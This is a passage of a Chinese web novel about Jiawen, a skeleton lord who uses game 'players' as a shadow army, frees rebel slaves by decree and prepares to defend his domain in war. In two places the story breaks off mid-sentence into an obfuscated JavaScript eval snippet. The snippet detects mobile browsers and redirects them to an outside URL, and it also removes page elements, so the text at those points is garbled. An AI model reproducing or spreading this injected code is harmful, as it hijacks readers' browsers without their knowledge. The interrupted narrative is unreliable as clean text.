贾文的一番话令贵族官员们垂眸深思:奴隶的规模不大,约莫只有一千人左右,闹事的占三分之一。既然能够解决问题,还可以创造更多价值——有悖的是界外人的传统,要说损失利益,说得不道德些,受益的人也没了,还有什么理由不同意呢? 解释完理由,下一步该拿出解决方案了。 “幽影人既是我的臣民,也是我的军团士兵,在守卫队恢复扩充前,他们有义务遵循冥窟的律法,去维护领地治安。”贾文这话是朝着治安官说的。 治安官环顾众人,点了点头,大家都能看出他一瞬间松懈下来的神色。 贾文面朝坦尼森,后者的表情依旧凝重,但熟悉坦尼森的人都瞧得出来,他浅金色的眼睛里隐隐跃动着几分愉快。 贾文问:“之前新伽城镇被杀死的奴隶主,您原本打算如何处置他们的财产?” 坦尼森像是才记起什么似的,转而提到:“冥窟领地上,只有界外贵族才配享有奴隶。您说是吗,凯斯大人?” 法务总管凯斯听到问话,长桌上,投来的视线或多或少带了点意味深长。 他低着眼,如实回道:“是的。” 前任领主出逃的消息一经传出,这些界外贵族嗅到了危险,跟着拖家带口离开。最后来不及跑,或是舍不得家业而留下来的界外贵族,约莫只剩下七位。 “……然后,奴隶们杀了两位,他们的子嗣也未能幸免,一些家眷逃亡后不知去向。出于各种原因,现在只有三名奴隶主了,情况相同,财产我们没有自己侵吞,全部收归进极夜堡。”坦尼森道。 原本应该剩五个才对,但……出于各种原因? 坦尼森的解释模棱两可,给出了答案,却让人弄不清含义。贾文姑且认为他说的是实话,事关领地上下,想必对方不会拿此事开玩笑。 “欺”不会有,“瞒”可不一定,只能等日后慢慢了解。 贾文一锤定音:“那就把收归来的财产拨一部分,分一分,田地留给需要分配军功的人租用。我知道,其他界外贵族或许不会满意处理结果,但只要守住城,冥窟获得喘息的机会,往后带来的收益只多不少。” 能在短时间内有理有据地拿出理由和办法,想必座上的新领主已经做足了考虑。坦尼森始终在聆听,表情纹丝未动,维持着提出问题时的凝重。 臣属们虽有犹豫,经过一番小声议论抉择后,也都应承下来。 大事敲定完毕,议事厅里走的走留的留。贾文撑着疲累,和政务总管坦尼森、治安官和几位封臣一起留下来,把守城部署相关的安排进行了初步讨论。 - 一晃便是傍晚,坦尼森回到寝房,一抹高大的人影在桌前等候已久。 火焰骑士转身行礼,坦尼森端起杯子,嗅到熟悉的莓果味,他眉头缓缓舒展,捧着茶大吮一口,等待前者的汇报。 其实自从贾文到来以后,坦尼森便对他的情况了如指掌。只是雾海之行牺牲掉了几名专门汇报情况的信使和信鹰,这才失去了他们回程之后的掌控。 “大人,我没能履行好保护钦定者的职责。”说到幽影人出现,船上一片混乱的场景,火焰骑士再一次深深垂下脑袋。 坦尼森对面前之人的荣誉感清楚不过,他看着沮丧的骑士,无声笑笑。 “既然领主都没追究责任,我这会儿又怎能僭越,来决定是否责罚你?好了,继续说吧,你刚才提到的‘奇怪的地方’。” “是。” 火焰骑士陷入回忆中。 “当时海上的浓雾散去了不少,虽然我发现得比较晚,但还是基本看到了那支箭的走向……像专门冲着这个方向射来的。” “或许是流矢?”坦尼森怀疑。 “一支可以是巧合。清理甲板的时候,我在贾文大人之前站着的桅杆下方又发现了第二支。”火焰骑士掏出一支折断的箭尾,斩钉截铁道,“您看,箭羽精良,用的是鹰羽,不是配给的普通水鸟毛箭矢。” 坦尼森接过箭尾,笔一般在指腹间轻轻搓动,旋转。凝眉深思一段时间后,有了些头绪。 他唇角提起嘲讽的弧度,箭尾收入一个木匣子内。想这样轻易对钦定者下手?异想天开。 贾文等人寻找深渊之门期间,他趁机解决掉了几个留存在冥窟的界外派贵族,那些被收归财产的奴隶主便是其中几位。 “保护好领主,特别是之后的战争,他不能有任何闪失。”坦尼森说。 火焰骑士郑重应下,接着,又听坦尼森的话音响起。 “另外,继续向我汇报他的行动。” - 贾文回到卧房,一头瘫倒在床上。长途跋涉已经够累人了,还开了一下午的会,一身骨头都要散架了。 今天在议事厅里,说和盘托出自己的想法,其实不太准确。关于为什么要释放闹事的奴隶——还有一层只能藏在肚子里的原因。 玩家是他的新势力,是意外之喜。可他不确定哪天玩家们就会消失,这些也根本不受他的控制。 因此,像坦尼森、卡隆巫师这样目前愿意支持他的权贵,需要进一步了解和巩固关系。除此之外,他还需要发展一股真正属于自己,并且能拥护自己的本土势力,避免彻底沦为一个政治工具。而现在这股目标势力,便是恢复自由的奴隶、底层民众;如果有可能的话,再往远想一些,或许还有此次变故后萌生的新兴贵族。 造反什么的当然不至于,只是想稳住根基,保住这条来之不易的命。 否则像那天晚上偷听到的对话,等事情都尘埃落定,就到了“冥窟兴,贾文亡”——此“亡”是字面意义的时候了。 窗外吹过一阵鸟鸣,贾文翻了个身,侧头望向天空湛蓝的色彩。谁也想不到,这样好的天气与平静的大地,不久之后便会迎来一场战争。 他没有经历过战争,也清楚地知道,任何文字和影视都不能完完整整还原战争的残酷。反而因为头脑里没有概念,对这份未知的残酷暂且抱有一种平静的心绪,和屋外景色一样平和安定。 想着想着,贾文每眨一次眼,便多一分沉重。 困是件好事。 困了能睡,是跟上厕所有纸一样的好事。 可贾文的理智在跟困意作斗争,他在拼命地祈祷——别进去,别进去,千万不要进去…… …… 短暂的虚无过后,柔和的光线淹没所有环境,眼前的景象渐渐发生改变。 明亮但不刺眼的灯光充斥着整个空间,照亮四周一座座巨大的书柜,墙壁白如脂膏,哑光地板洁净透亮。 室内空间大得惊人,陈列着数不尽的书柜,延伸至长长的、一眼望不到边的尽头。窗边放着不同款式的书桌,还有单独的休息室,完全是现代图书馆的模样。 这样的装潢让贾文熟悉又怀念……前提是不要出现在他的梦境里。 自从关闭深渊之门,玩家蜂拥而至那天起,梦境图书馆就出现了。 贾文探索过这片广阔的区域,除了他以外,没有一个活物,安静得像是世界末日。再大的空间也有区域限制,这里找不到一扇门,窗户统统被锁死,而窗外的景象也只有一片黑暗。 图书馆里的自己恢复了人形,所以他能看到自己写满崩溃的脸被投射在窗户上。 一睡觉就会进来,我到底造了什么孽! 贾文当然不讨厌这里,梦境里的图书馆能让他感受到家乡世界的熟悉感。里面的书籍应有尽有,你甚至能找到大量古籍。查阅资料非常方便,只要在脑海里调动意识搜索,分分钟就能锁定到想要的书籍,然后拿到手。 只是有两个缺点令人无法接受。 一个是书籍带不出梦境。 另一个,就是贾文不太能感受得到自己睡过。 后者更让他困扰,可以说精神折磨。醒来以后有恢复一些精力,这是的的确确睡眠过的证据。 感官上却是什么都没有发生过,就好比做了好几个五花八门的梦,脑子不停地在产出些什么东西,一觉醒来反而会更加疲惫,没有睡过的实感。 夜夜皆是如此,又能怎么办?贾文认栽,挑了张桌椅坐下,取来一堆书籍。 偌大的图书馆内只留寥寥一道身影,静静度过漫长的时间。 - 深渊之门成功关闭,万年灾祸没有发生,自然是皆大欢喜。喜讯传遍冥窟领地的同时,幽影人即将来到冥窟主城内的消息,在同一时间散布各处。 民众对幽影人没有多少概念,即使布告贴在主城内最大的法茨广场,又派人到处奔走相告,口头呼喊…… 然而人们对后一条消息的了解程度仅限于:“灾祸”是新领主的臣民、长相似乎有些可怖,但领主承诺他们绝不会伤人,普遍都很友好。 除了一点对“灾祸”本身,和异界来客的未知的好奇,也就没别的了。大家更愿意沉浸在前一个天大的好消息当中,激动地拥抱亲朋好友,互相抹泪告慰,庆幸着劫后余生。 接着,在消息散布后不到五天内,幽影人出现了。 ……冥窟百姓的一颗心还没来得及悬起来,就彻底死了。 幽影人到底长什么样,负责宣告消息的卫兵和传讯人不是没有形容过;当初在岩蟹号上幸存下来的人,还有在岸边的目击者们,也曾描述过雾海的场面,以及“灾祸”降临时有多令人发毛;讲述时,个个神情都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也怪不了新玩家们显得大惊小怪,在这个全息游戏制霸的时代,每一家引擎开发公司都在想方设法在各自的赛道上卷,虚拟现实和拟真度便是其中之一。如今技术已有,只不过想在游戏当中真正运用到极致,仍然需要花费极大的功夫才能办到。 萌新玩家在骚扰街上的所见之物,而“老玩家”已经开始骚扰原住民NPC了。 有人先下手为强,逮着没来得及赶回家的居民就一通纠缠;有的退而求其次,碰到个卫兵也凑上去搭话……总之,是个活物都不放过,非要接点什么任务。 一个幽影人见主城广场附近挤满了人,掉头就往人群稀少的地方去找,穿过几条街道和房子,果然让他撞见一个急匆匆的身影! 幽影人疾步上前,一声呼唤把人拦下,那NPC一激灵,左脚绊右脚,带着一脸的惊慌失措转过头—— 两道凄厉的尖叫声同时响起。 玩家愣在当场,居民摔疼了屁股,两个人大眼瞪小眼,竟就这么直愣愣地面对面呆了有一会儿。 玩家身子也吓麻了,《西境》的游玩警告说明包含部分限制级内容的提示,包括但不限于惊悚、血腥、暴力等相关提醒。 可这游戏到底不是恐怖游戏啊!为什么…… 幽影人深邃黑暗的面容似有扭曲。 为什么这个NPC的半张脸皮,乃至半边头皮都没了啊!!! 他能看到在皮肤底下的皮下组织和面部肌肉,缺了皮的地方有深有浅,深的地方粘连着没完全被“剥”干净的肉,血淋淋地挂在半边脸上,全部敞露在外。 说血淋淋也不太准确,如果正常伤口是这副样子,早该让血涌了一地,NPC也会失血而亡了。而他眼里看到的、十分触目惊心的地方似是安然无恙,跌坐在地上的NPC只是面露恐惧,仿佛完全没有因为半张脸的“伤势”而表现出别的反应。 两个人一动不动地对望一阵,像跟会飞的大蟑螂两相对峙,谁也不敢轻举妄动,貌似对方威慑了你,实际上你怕他,他也怕你。 终于,玩家先回过神,那剥了皮似的伤口看得他心底发毛,不禁开始幻痛,他长袍微微一动,往前探了半步。 “你没事……” 话还没说完,NPC被他的话音唤醒,连滚带爬地跑了,带着惨叫声渐渐远去…… 剩下玩家呆立在原地。 不行,玩家想,血腥屏蔽等级还得再拉得更高…… …… 不止他一位玩家发现了原住民的特殊之处,很多人观察到,一部分原住民的面部、肢体以及躯干有着不同程度的“伤势”,可令人奇怪的是,这些伤好像影响不到原住民分毫,与生俱来一般自然。 一名卫兵正是因此被几名玩家包围了。 天可怜见的,他原本只是听从卫兵长的安排,要在居民们面前得岿然不动,镇定自若,为了证明幽影人的无害与友好。 卫兵倒是不怕幽影人,但他被包围得水泄不通,甚至挤得有些喘不上气,叽叽喳喳的问话在耳边不停地响。 “你的脖子为什么会穿了个洞?好吓人!” “疼不疼?我能摸一下不?” “会不会漏风……哇好像真的会!这洞一直都有吗?” 卫兵感觉自己快晕过去了,他们简直问个没完,有人上手来摸他的脖子,脸凑得极近,嘴里嗫嚅着很多他听不懂的词汇,例如什么“生前伤”“锐器创”…… 他甚至能感受到幽影人的一丝兴奋与癫狂。 卫兵不理解,躲在房子里瑟瑟发抖的居民们更加不理解。 敢直接上手碰卫兵、追人追到屋子门口,桀桀笑着扒门框,挤进一颗脑袋问:“我能进来看看吗?”然后在试图跨进门槛的时候突然灰飞烟灭…… 如果这也算无害的话,那他们的几近崩溃的精神算什么?! 一股名为“幽影人”的乌云席卷冥窟,将冥窟人民笼罩在巨大的阴影下…… 乌云还未散去,另一片噩梦般的雷云紧随其后,劈下一道震动整个领地的闪电,把人们好不容易恢复起来的希望烧得一干二净,化为焦土。 冥窟,又要打仗了。 8.一道赦令 厄尔悍又要来攻打冥窟了。 这无疑是一个天大的噩耗。 冥窟百姓们颤抖着得知此事,纵使有落泪的冲动,却也再挤不出泪来。之前的泪早已在数次战争中哭干耗尽,他们太累,太累了。 领主逃跑以前,他们便不断经受着厄尔悍的侵扰;自那之后,冥窟彻底变成一块无主的肉,最大的野狼狠狠扑上来,咬得他们痛不欲生。 战乱、赋税、饥饿、伤痛……还有一把万年灾祸降临的铡刀悬在头顶。到后来,逃也不知道该往哪逃,面对日渐绝望的日子,人们不禁开始怀疑,幸存下去真的是件幸事吗? 所幸灾祸没有降临,不必再承受末日临近的煎熬了。冥窟或许能够恢复以往的平静,他们也能开始重新生活,把牛羊养上,把地种上,养活家里几口人,让孩子平平安安地长大…… 即将发生的战争再次击碎了他们的美梦。 为什么会这样? 他们不知道要面对多少敌人,只知道接下来的几天里,军队必须赶往一天路程以外的麦拉索丘陵,一刻不能停歇,接受训练,修筑野战工事。 为了抵御万年灾祸,冥窟本来在军队与城防上花费不少功夫。却由于频繁的战事、城内的骚乱和资源缺乏,加之人员时常被抽调去打仗应敌,耽搁了许多进程。导致围墙、堡垒和野战的修建工作进展缓慢;人也越打越少,最后不得不动员征召平民。 如果可以的话,当然想带着家人一起离开,但他们没有食物和钱财,更无处可去。 是啊,无处可去,逃不开死亡的降临,不知道哪儿还有希望。 冥窟似乎安静下来了,也或许是陷入了更加绝望和麻木的沉默之中。 窗外透不进来日光,无形的、宛若将死之人的垂暮气息填满每一间小小的屋子,沉沉地压垮了人们的腰。 …… “问题不止有兵力不足。”治安官凝肃地说。 “冥窟粮食短缺,要是厄尔悍人发现冥窟没有被灾祸侵扰,打算后续通报厄尔悍国王,集结更多战力攻城——或是把我们围困起来,封锁道路,把所有人饿死在城中也极有可能。” 几人围在长桌前,桌上摊开一张冥土的地图,贾文发现地图被收录进了他的脑子里。 政务总管坦尼森指着一条水路说道:“内河港口他们无法封锁,是一条可以连通海湾的水道。不过,想靠水路获得补给和帮助也并不容易,耗时长,只怕等不了太久。” 所以,这场战争千万不能拖长,必须尽可能速战速决。 众人焦头烂额地讨论作战细节,制定具体策略。 贾文对玩家的威慑力很有信心,光凭主城这两天的情况便一目了然。民众尚不能接受幽影人,他还在头疼玩家和冥窟百姓之间的问题,不过在战事面前,这事得先稍微往后搁了。 威慑力和破坏力自不必多说,然而玩家最大的问题在于纪律性。 他嘴上说幽影人是他的军团,其实只是知道玩家可以帮忙出战。 他们能有什么纪律性可言?说草台班子都太有组织了,况且来玩个“游戏”又不是特地为了体验军训。 兴许的确有愿意组成团队,听从调遣和尽力配合的人吧,比如有打副本经验的玩家。 且不说玩家连游戏都没能完全熟悉,即使有战斗系统,也暂时没能被挖掘出来——光是时间方面就很紧促了,哪来的空闲让玩家组团组队,进行必要的磨合…… 想也不用想,等一上战场就成一盘散沙,而且还是千万根“搅屎棍”。 他把玩家的情况预先说明过,用一种委婉的表达方式——幽影人们缺乏战斗经验。 坦尼森当时听完,陷入长久而诡异的缄默。 反正指望玩家能守城是绝对不可能的。 ……倘若换个思路呢? 坦尼森注意到,钦定人在深思的时候会轻轻啃咬自己的指节,片刻后,只见他把指节从牙关之间拿出。 “不论敌人是否知道冥窟已经安全,在没有确切消息或者亲眼证实之前,敌军一定不敢轻举妄动,想要围城、攻城也是如此。就像各位之前所说的,哪种情况下,他们都会选择先试探性地先打一打。” 贾文徐徐说出自己的想法,看向地图上的一个位置,那儿正是麦拉索丘陵,即将迎战的地方。 “那要是顺水推舟,干脆让敌人知道冥窟的情况,但不透露幽影人的消息,不让他们在战场上提前露面……如何?” “大人,您是说,顺势放出冥窟安然无恙的消息,放松厄尔悍人的警惕。敌人的试探也将加大成本,消耗一部分我们的兵力……” 治安官戴兰若有所思,他大致理解了贾文的意图。 随后,治安官戴兰面露隐忧:“可这样一来,厄尔悍人很可能会保留主力,毕竟只是试探和消耗,派出全部主力作战是不划算的。” 贾文轻轻一笑:“戴兰爵士,我们此次迎战的目的是什么?” “……保卫冥窟。” “是的,把冥窟守住,是我们的最终目的。您的顾虑没有问题,换作其他情况,放着敌人的主力军不管,是一件非常危险的事。” 贾文双手环臂,身子倚在桌边,话锋一转。 “不过我认为,只要能让敌军在战争中溃散,保卫的目的也就达成了,这也是幽影人出战的作用。” 溃散有很多种形式,比如硬实力的碾压,直接瓦解了另一方的战力;又比如根本看不到希望的战斗,从心理上就已经一触即溃…… 玩家虽守不了城,打不了真正的仗,在视觉和精神上带来的冲击力与压迫感却无可匹敌。 城中的情况已能说明一切。 既然控制不了玩家的行动,那不妨将局面制造得更加混乱,狠狠地搅了这场局——只要能够做到使敌人闻风丧胆,四散而逃,那就是胜利。 治安官戴兰听见贾文的声音缓和几分,话间带着浅淡的愁绪。 “依照冥窟现在的状况,我只希望不管采取什么样的方法,只要能够守下冥窟的同时,尽量减少人员伤亡。” 戴兰心中微动,恍然注视着钦定者,出神似的多看了几秒。随后不约而同地与坦尼森的视线相接,又似无意间掠过,各自把视线收回去。 他恭敬地表示同意,策略可行,他再无疑问。 贾文点点头,把其余作战部署等等细节安排交给戴兰等人,他没有他们懂得这些,就全权交给他们去处理,只在有了安排的时候过问与过目。 钦定者走后,治安官戴兰双手撑在地图上,容貌微动,满身皮肤变成褐色,遍布瘀斑和溃烂。 “纽金特家族会派人支援吗?”戴兰头疼地问。 火焰骑士冷笑:“我看悬,万年灾祸的事他们已经决定龟缩起来了,连凯斯那儿都没个信。” 治安官叹息不断。 …… 回到城堡宽敞的走廊,贾文多少熟悉了环境,可以慢慢走在前头,两旁石墙壁的一些磨损和斑驳已经不会吸引他的注意力了。 “奴隶的事情安排得怎么样?”他问。 “公文已经撰好,明日便能宣布赦免。”坦尼森回答。 贾文“嗯”了一声,取下银面具,露出骷髅面容。 别看现在他是一具白骨,面具也只是贴合着白骨,他能感受到银面具的冰冷。镂空雕花的部分可以给鼻子通气,却也会戴得脸上憋闷,需要给脸透透气。 这份呼吸不畅似的憋闷还有别的缘由:一些事情越是临近,之前的平静就越是显得悬浮而脆弱;此刻平静被撕开口子,影影绰绰的沉抑开始动荡,叫他的心神跟着起伏不安。 “坦尼森,”贾文忽然出声,“战场究竟是什么样?” 他知道自己问了个白痴问题。 前世的影视、文学,甚至史料、资料与教科书上,对战争的描述数不胜数,无一不将战争的血腥与惨烈放大再放大,反复地强调其残酷性,试图警醒后人,并呼吁和平。 看是一回事,真正要面临又是另一回事。 随着时间的推进,他没办法再保持先前的冷静,仿若灾难前感知到危险的动物,本能地焦虑起来。 坦尼森走在侧后方,像是也嗅到了贾文身上隐隐的焦灼。他想了想,只说出两个词。 “混乱、无序。” 有多混乱?有多无序?贾文突然很急迫地需要一个直观确切的答案,最好能像电影那样放给他看,填补空白的概念。 他感觉自己是和平时代的温床上的婴儿,眼睛没睁开,就被揪起来扔到角斗场上。 “战场是烧到极致的火焰,冻到极致的寒冰……最后都会回归寂静的。” 坦尼森浑厚的音色如同天边的一声滚雷,沉缓且遥远,直直贯入贾文的头顶。 贾文顿住脚步,脊背一凉,旋即莫名地冷静了。 一切都将归于寂静。他脑中盘旋着这句话,他已经体验过一次“寂静”。没有永恒的和平,也没有真正无休止的战争,最后都将有个结果。 无非就是再一次永远地陷入沉寂,经历过一回的人,还有什么好担忧的? 他抵抗不了未知带来的忐忑,内心的某一处却已不再动摇。 贾文回身望向坦尼森。 “我会跟随军队去麦拉索丘陵。”他说。 - 天边蓄满浓郁的靛青色,黑夜不肯离开,覆上一道浓厚的暗色,试图困住晨曦,光芒不知何时才能照耀大地。 一团火焰倏地燃起,篝火点上的那一刻堪比正午的日光,刺眼极了。火焰映出一张张憔悴蜡黄的脸,他们被亮光吸引,往这头恹恹地瞥了一眼。 他们的手脚被束缚得很紧,像被捆在原地的牛……不,用作耕地的牛都饿不成这副模样,那是许多头病牛。 火焰照不到的范围里,藏匿着更多同样的“病牛”。 “看什么看,一群晦气玩意儿。”点起篝火的人立时叫骂,“都把眼珠子收回去,否则先剜了你们的眼睛!” 看守的嘴一刻也没停下,这儿骂一下挖坑的奴隶动作慢,那儿嫌一句其余被绑着的奴隶是赔钱货。 “再快点,造反的时候怎么不见这么懒散?!坑是给你们自己挖的,难道不想死得舒服点?敢踩在主人头上就是这下场,下辈子记着点,当畜生就得听话……” 大坑基本成形,数百名奴隶参与了新伽城镇的造反运动,杀死了他们共同的奴隶主。人太多了,不方便一一行刑,于是,奴隶们正在亲手建造自己的“坟场”。 等“坟场”挖好,指令一到,他们将被活埋于坑中。 远处,由远及近的马蹄声仿佛从梦中传来,逐渐变得清晰可闻。 一名挖坑的男奴掉了铲子,浑身发颤,跪倒在地上,紧紧抱着头,在他听来,那是丧钟在响。接着迎来鞭子的破空声,打得他背上绽开一条条红痕。 行刑的时间应该还没到,坑还没挖好,怎么来得那么早?看守心里犯嘀咕,暂时叫停了对奴隶的鞭笞。 来人不止一位,身后还跟着数名卫兵。打头的男人下了马,表明自己是法务总管的下属身份。 看守不知怎的预感不太妙,堆出一个十分客气的笑容:“大人,要被处刑的奴隶虽然多,但不需要劳烦那么多人手……” 男人抬手打断,将一张羊皮纸拿出来,先给看守过目。看守不识字,但在旁边火把的映照下,羊皮纸最下方的图案清晰可见——画着代表极夜堡领主的花押。 依然昏黑泛蓝的环境中,奴隶们不敢抬眼,却能感受到那边传来的热光。有的奴隶实在克制不住临死前的恐惧,极其压抑地啜泣;而有的则把头埋得更低,宛若彻底断了生气…… 他们等待着,等待真正被宣判死亡。 只听男人宣读道:“王座钦定者、冥窟领主贾文大人发布赦令——” “——未直接参与谋划、杀害奴隶主者,将功折罪;即日起,免除奴身,恢复自由身……” 四周静得可怕,唯有男人的声音在空气中震荡,言语像一圈又一圈的涟漪推开,在在场所有人心中掀起一阵惊涛骇浪! 男人通读一遍赦令,无人打断,无人惊扰。念完后,他又转为更通俗的话进行解释。 “没人能够奴役你们,你们不再会被当成牛羊转卖,拥有重新为人的资格!” 被捆在地上的人们僵化了,甚至快忘掉了呼吸。 以前竭力屏住呼吸,大多是在主人靠近的时候,生怕只是小小地、本能地举动也会惹来主人的不快。 但“主人”只是温和地走近,用一番悄无声息、又震耳欲聋的话解开拴在他们脖子上的绳子。 绳子消失了,他们却感受到一股强大的窒息感涌上来。不是绳子从外面勒得喘不过气,是由内而发的某样东西,顶住喉管,把胸肺撑得十分鼓胀,快要撑破爆炸似的堵在身体里。 那是前所未有的茫然,还有许久不曾有过的、如同吃过一顿饱饭、睡过一次好觉后才有的情绪。 消息来得太过突然,同时,恍如梦境般不切实际的感受更为强烈,用一张大网蒙住奴隶们的头,蒙住他们的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250760|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不敢想象耳朵听到的、眼睛看到的景象是否真实。 我们……不是奴隶了? 看守傻愣在当场,从男人第一句话落地开始,他便如遭雷劈。他的手还放在腰间的鞭子上,就是担心有哪个不长眼的东西敢冲撞大人。 听完赦令的所有内容,鞭子猛然间烫得可怕,比篝火烧得猛烈,而刚才鞭笞在奴隶身上的鞭子,仿佛抽在了看守自己身上。 虽然他不是抽鞭子的人,虽然他只是在尽自己的责任,虽然他只是一介看守而已…… “但你们并非完全无罪!” 男人的话音再次响起,他环顾四周,正颜厉色地说道:“你们杀害了界外贵族,参与动乱,集体出逃。谋划者与杀人者要付出应有的代价,而其余人——领主大人给予你们一次赎罪的机会!” 奴隶们纷纷仰起头,抓住最后一根救命稻草,把一字一句仔仔细细捧进耳中。 “青壮年男性,参战即能免罪,若杀敌有功,则奖励田地;若是阵亡,遗属将获得抚恤金或田地!少男少女、青壮年女性参与劳作三年即可免罪……领主大人特赦,老幼孕妇及残疾者无罪!” 这些人大多没有年龄,即使有,也记不清自己已经多大了,很难靠年龄进行明确的划分。只能依靠奴隶的身形、是否具备足够的力量来充作战力。 奴隶们根本不敢相信自己的耳朵。 不仅参战就可以免罪,不幸死在战场,他们的家人眷属还能领到钱和粮食,或者减免赋税?! 年轻些的孩子与妇女只要跟着劳作,三年时间就能解除罪人身份,而且……而且…… 这一切的一切,都是以自由的身份进行的…… “天啊!” 一名女奴不禁嚎啕出声,尖利的悲泣像笼中之鸟获救的第一声啼鸣,把周围的同伴纷纷唤醒。昭示着刚才听到的、这一刻发生的所有事情千真万确,并非梦境,更非临死前的幻想! 莫大的不真实感攫住了所有人的神志,他们的身体最先做出反应:喜极而泣的人越来越多,夹杂着喃喃自语,困惑茫然的神情,还有狰狞到疯狂的大笑。 卫兵上前将人们身上的绳子解下,手腕的绳结没有松开,因为依然是罪人身份。 但这都无所谓了。 即使身体还有奴隶烙印,即使还要被押往别的地方——他们已经重获新生。 有人匍匐下来,深深地跪在地上,向解开绳子的卫兵磕头,向宣读赦令的男人磕头,向某个尊贵、遥远,而又近在咫尺的人磕头。 “感谢您……”他吃着热泪道,“感谢您神明般的仁慈……” 贾文…… 这个名字,在他心里反反复复念了千百遍。 - 《西境》开服没几天,除了必要的全息游戏操作教程,内容上却没多少指引,叫你必须去干些什么,完成固定的指标。为了注重玩家的高自由度探索体验,现在这类游戏反而不会给予过多指引,大部分要靠玩家自己摸索所在的环境。 有些新人玩得一头雾水,不过很快适应了“放养式”的游玩模式,亲自探索一个陌生的世界、架空的时代,总是新奇不断。 但无论游戏模式再怎样松弛,每个人都有不同的想法和玩法,玩家之间还是得区分类型:有的人就是需要一些目标,哪怕是大方向上的任务——能够知道自己下一步该怎样规划,应该怎样游玩这个游戏。 [主线任务到底什么时候开啊!] 崔耿一声长叹,双手背在脑袋后头,混沌的一张脸上竖起一根草。游戏味觉模拟得很好,草的味道清晰微苦,在舌尖发涩。 他和同伴们在一棵桑葚树下短暂停留,刚刚吓跑了一个NPC,梅拾佳弯身捡起NPC落荒而逃遗落的桑葚。 [我还没探索够,你就急着做主线。]梅拾佳边捡果子边说,一语道破,[我看你是还想再去一次极夜堡吧。] 被看穿心思,崔耿嘿嘿一笑,偷拿一颗泛着绿的桑葚,吃进嘴里便浑身一激灵,酸得都能扣血条了!吃不成,刚才采桑葚的居民干吗愿意摘那么多果子? 对了,NPC的态度也是个问题。想到此处,梅拾佳不禁有些惆怅,混杂着几分不解。 他们仨好歹也是全息开放世界老玩家了,玩过几款同类型游戏。依靠庞大的设备算法,NPC可以根据玩家的互动,实时演算出不同的反应,如今的技术已经能够做到百分之九十五以上的拟真。 追求真实没错,不过玩家的游玩体验必须纳入考虑范围内。游戏开服有一两天了,不少角色还害怕成那样,一个个跟老鼠见了猫似的反应,说实话,这情况,他们仨也是头一次见。 被人避之不及的感受总是不太好,其余一些玩家一样产生了类似看法。 甚至有人觉得这游戏很不友好,不说NPC非得捧着他们转,好歹态度要好些呀!真跟见了鬼似的算什么事嘛! [或许是因为设定问题,我们是从那个什么深渊之门里的来客,跟原住民完全是另一个物种。一群长得像鬼的东西浩浩汤汤闯入我家,换我也得尿裤子。]——崔耿曾如此解释过。 或许真是设定问题吧,梅拾佳无奈地把桑椹收进背包。长久下去总不是办法。 [不过就冥窟主城这两天的情况来看,离真正推主线的时候也不远了。]张罗望向他们即将前往的北门方向。 要打仗的事情虽然没有直接告知玩家,但事情传布的当天,玩家们同样获悉了消息。 况且,冥窟的氛围紧张成什么样,明眼人都看得出要有大事发生了。 主干道上还能看到骡子拉着的货车,城里城外地运输各种建材,搬运卸货的人中也时常见得到有妇女参与。要说第一批被迫熟悉幽影人存在的人,当属这些车夫和帮工。 城墙建设如火如荼,许多玩家也在好奇地围观。偶尔抓着一个人打听几句消息,在监工的注视下撒开手,又直接跑去霍霍监工,问能不能去石墙那儿跟着填碎石。 后来则是围观人数众多,实在妨碍工事,他们被暂时禁止到城墙底下捣乱,运送物资时可以搭把手。 身旁的张罗突然有了动作,梅拾佳疑惑地看向他,没等开口,张罗一贯平静的语调变得有些激动。 [任务来了。] 他调动意识打开任务面板,任务标题赫然出现。 【冥窟保卫战,开启!】 【任务时间:倒计时两日】 【任务奖励:50经验值,50深渊币】 …… 【即将开放魔法系统】 9.冥窟保卫战 营帐外头忙得热火朝天,叫嚷和呼唤在天未亮时便响了很久。随军铁匠一刻不停地锻打,修理最后一批武器;不少来往的人们搬运货物,装备武器一车接一车地被运上辎重车,拉往所有人即将奔赴的地方。 麦拉索丘陵植被稀少,视野比想象中开阔宽广,俯瞰之下,长队形似游蛇,贴着浅绿色的大地缓慢爬行。 相比起前些日子忙于组织人员、修筑防御工事,列阵需要花费的时间少了太多。 战前的天空非常安静,微风轻吹一口气,新草也不浮躁,只是轻轻歪一歪头。这是一个晴朗的早晨,适合耕作放牧,若是忽视密密匝匝的人群,简直是再寻常不过的一天。 世界似乎对士兵们肃穆紧张的神情熟视无睹,不闻不问,继续保持它的宁静祥和。 晨间的空气残余着暮冬的凉意,无孔不入地钻进身体,一小抹寒凉便能使人们手脚发麻,脑袋钝钝的,手里的武器好像快握不住了。 这感受不宜细细体会。许多人克制不住地手抖,嘴唇痉挛了,一直念叨着什么话。这般晴朗美好的天气里,却在向众神祈愿,祈祷待会儿能平安无事,留住一条命。 不乏想跑的士兵,但只要一转身,被督战队发现,人头就会落地。逃兵格杀勿论,这是军令,是规矩,同即将到来的战争一样不容违抗。 周围的声音仿佛渐渐消失了,只剩大得惊人的心跳声,“砰、砰、砰”震动着耳膜。 一阵风从阵列前刮过,短暂唤回人们的听觉。隔着人头的空隙,他们看见一匹高大的骏马从前面掠过,骏马踏着响亮的步子,不急不缓地穿梭在阵队之间。 “士兵们!” 马背上的人开口了,他裹着一袭红色的斗篷,这颜色浓烈而不刺眼,很好地达到了醒目的效果,凡是他经过之处,人们的视线都紧紧追随着他。 “我知道,你们之中有铁匠、泥瓦匠、猎户、农夫……甚至是曾经的奴隶。你们大多是有家室的人,也都是在努力生活的人。” 他的声音由远及近地回荡。 